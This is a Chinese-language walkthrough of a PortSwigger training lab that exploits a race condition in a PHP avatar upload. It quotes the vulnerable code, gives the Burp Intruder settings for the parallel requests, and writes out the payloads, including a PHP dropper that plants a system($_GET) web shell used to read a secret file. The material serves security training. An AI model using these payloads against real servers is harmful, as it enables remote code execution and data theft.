专家-条件竞争
# 实验室:通过条件竞争上传web shell
# 题目
此实验室包含一个易受攻击的图像上传功能。它对上传的任何文件都执行可靠验证,但可以利用处理方式中的 竞争条件 来完全绕过此验证。
要解决实验室问题,请上传一个基本的 PHP Web shell 并使用它来外泄文件/home/carlos/secret
的内容,然后使用实验室横幅中提供的按钮,提交文件中的隐藏值。
你可以使用以下凭据登录到自己的帐户:wiener
:peter
- name: 实验室-专家
desc: 通过条件竞争上传web shell >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-race-condition
bgColor: '#001350'
textColor: '#d112fe'
2
3
4
5
6
提示
引入竞争条件的易受攻击代码如下所示:
<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];
// 临时移动
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);
if (checkViruses($target_file) && checkFileType($target_file)) {
echo "The file ". htmlspecialchars($target_file). " has been uploaded.";
} else {
unlink($target_file);
echo "Sorry, there was an error uploading your file.";
http_response_code(403);
}
function checkViruses($fileName) {
// 病毒检查
...
}
function checkFileType($fileName) {
$imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
if($imageFileType != "jpg" && $imageFileType != "png") {
echo "Sorry, only JPG & PNG files are allowed\n";
return false;
} else {
return true;
}
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 实操
根据题意,可得实验目标:
- 对以上代码进行审计,尝试利用 竞争条件 上传一个 webshell 获取并提交 /home/carlos/secret 文件的内容。
在开始实操之前,先研究题目中给出的代码:
- 定义两个变量,分别是目录名称 和 文件名称;
- 移动文件到对应目录当中;
- 对文件进行病毒检查 和 文件类型检查;
- 如果通过检查,则提示上传成功;
- 如果不通过,则删除目录中的文件,并提示上传失败。
通过分析以上步骤,发现在文件 检查和删除 之间存在空隙时间。可以利用这个时间,在文件被删除之前访问它,触发文件中的代码执行并实现相关操作。
点击 “ACCESS THE LAB” 进入实验室。

点击 “My account” 进入登录界面。

输入题目中提供的用户名密码wiener
:peter
进行登录。

启用浏览器代理,尝试上传一张图片。

查看捕获的请求数据包,并将其转发至 Repeater 功能模块。
该数据包留作备用。

捕获另一个数据包,该数据包尝试访问/files/avatars/clincat.php
文件。此时文件不存在,响应状态码为 404 。

# 条件竞争测试
第一个数据包(也就是 上传文件 的数据包),将其转发至 Intruder 功能模块。
修改文件内容为<?php echo 123;?>
,这段代码输出文本 123 ,用来测试条件竞争是否存在。

第二个数据包(也就是 访问文件 的数据包),将其转发至 Intruder 功能模块。
不需要做任何修改,因为它的作用就是访问文件,触发代码执行。

第一个数据包,将任意字符添加到选区,如图所示。

第一个数据包,设置攻击载荷:
- 载荷类型:Null payloads(空载荷)
- 次数:100

第二个数据包,将任意字符添加到选区。

第二个数据包,设置同样的攻击载荷:
- 载荷类型:Null payloads(空载荷)
- 次数:100

两个数据包都设置完成之后,先启动第一个攻击,再启动第二个攻击,使两个攻击窗口同时运行。
第一个数据包,不断上传文件,上传之后由于不符合要求,文件被删除。
第二个数据包,不断访问文件,试图在文件被删除之前,执行其中的代码。

在第二个窗口中,有一些请求为 404 ,说明上传的文件被删除,访问失败。
还有一些请求为 200 ,访问文件成功,程序返回了文本内容123
,这正是测试代码的输出结果。
成功地在文件被删除之前,访问并执行了其中的代码,这说明条件竞争存在。

# 文件写入测试
我们成功地执行了文件中的代码,获得了一段输出,但这还不够,因为我们需要上传文件。但上传的文件会被立马删除,怎么办?
后端脚本(例如 PHP)都存在一个功能:创建文件并写入内容。
可以利用 PHP 中的file_get_contents()
函数来创建并写入另一个文件。
修改第一个数据包的文件内容,然后再次启动两个攻击窗口。
<?php file_put_contents("1.txt", "123") ?>
第一个数据包,不断上传文件。
第二个数据包,不断访问该文件,试图执行其中的file_put_contents()
函数,使其创建另一个新的文件。

在看到 200 状态码之后,访问1.txt
文件,文件创建成功。

# 通过条件竞争写入webshell
上述操作成功地创建了一个.txt
文件,只要将文件扩展名改为.php
,并将文件内容改为 webshell 代码,即可实现 webshell 的写入操作。
此时访问clincat2.php
,文件不存在。(不能与上传的文件同名)

修改第一个数据包中的文件内容,然后再次启动两个攻击窗口。
<?php file_put_contents("clincat2.php", "<?php echo system(\$_GET['command']); ?>") ?>
第一个数据包,不断上传文件clincat.php
。
第二个数据包,不断访问该文件,试图执行其中的代码,使其创建另一个新的文件clincat2.php
。

在看到 200 状态码之后,访问clincat2.php
文件,文件创建成功。
尝试传递参数并执行命令,成功。

通过 cat 命令获取目标文件的内容,复制长度为 32 位的目标字符串。

回到实验室主页,点击上方的 “Submit solution” 打开输入框,填入刚刚获得的文件内容,然后点击 “确定” 。

提交正确,实验完成。
